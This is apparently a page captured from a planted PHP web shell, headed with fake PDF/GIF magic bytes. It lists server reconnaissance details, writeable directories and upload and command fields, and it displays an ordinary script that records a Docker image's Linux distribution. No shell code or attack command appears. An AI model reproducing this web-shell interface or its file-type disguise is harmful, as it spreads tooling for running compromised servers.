%PDF-1.7 GIF89;
shell
Server IP : 172.66.157.178  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/local/bin/generate-dockerimage-info
#!/bin/sh

set -o nounset   ## set -u : exit the script if you try to use an uninitialised variable
set -o errexit   ## set -e : exit the script if any statement returns a non-true return value

LSB_FAMILY=""

#############################
# Distribution detection
#############################

if [ -x "/usr/bin/apt-get" ]; then
    # Debian family
    LSB_FAMILY="Debian"

elif [ -x "/bin/yum" ]; then
    # RedHat family
    LSB_FAMILY="RedHat"

elif [ -x "/sbin/apk" ]; then
    # Alpine family
    LSB_FAMILY="Alpine"

elif [ -f "/etc/arch-release" ]; then
    # Alpine family
    LSB_FAMILY="Arch"

else
    # Unknown
    echo "ERROR: Distribution detection failed"
    exit 1
fi

#############################
# Install
#############################

case "$LSB_FAMILY" in
    Debian)
        apt-install lsb-release
        ;;

    RedHat)
        yum-install redhat-lsb-core
        ;;
esac

#############################
# Set distribution information
#############################

echo "Detected $LSB_FAMILY"

mkdir -p /opt/docker/etc/.registry/
echo "$LSB_FAMILY" > /opt/docker/etc/.registry/image_info_distribution_family
echo "$LSB_FAMILY" > /opt/docker/etc/.registry/image_info_distribution
date +%s >/opt/docker/etc/.registry/image_info_buildtime

# Create all files
touch /opt/docker/etc/.registry/image_info_distribution_version
touch /opt/docker/etc/.registry/image_info_lsb
touch /opt/docker/etc/.registry/image_info_lsb_description
touch /opt/docker/etc/.registry/image_info_lsb_release
touch /opt/docker/etc/.registry/image_info_lsb_codename

# Collect distribution specific informations
case "$LSB_FAMILY" in
    Debian|RedHat)
        lsb_release -i -s > /opt/docker/etc/.registry/image_info_distribution
        lsb_release -r -s > /opt/docker/etc/.registry/image_info_distribution_version
        lsb_release -a > /opt/docker/etc/.registry/image_info_lsb
        lsb_release -d -s > /opt/docker/etc/.registry/image_info_lsb_description
        lsb_release -r -s > /opt/docker/etc/.registry/image_info_lsb_release
        lsb_release -c -s > /opt/docker/etc/.registry/image_info_lsb_codename
        ;;

    Alpine)
        cat /etc/alpine-release > /opt/docker/etc/.registry/image_info_distribution_version
        ;;
esac


#############################
# Uninstall
#############################

case "$LSB_FAMILY" in
    Debian)
        apt-get purge -y -f lsb-release
        ;;

    RedHat)
        yum erase --assumeyes redhat-lsb-core
        yum autoremove --assumeyes
        ;;
esac

Anon7 - 2022
SCDN GOK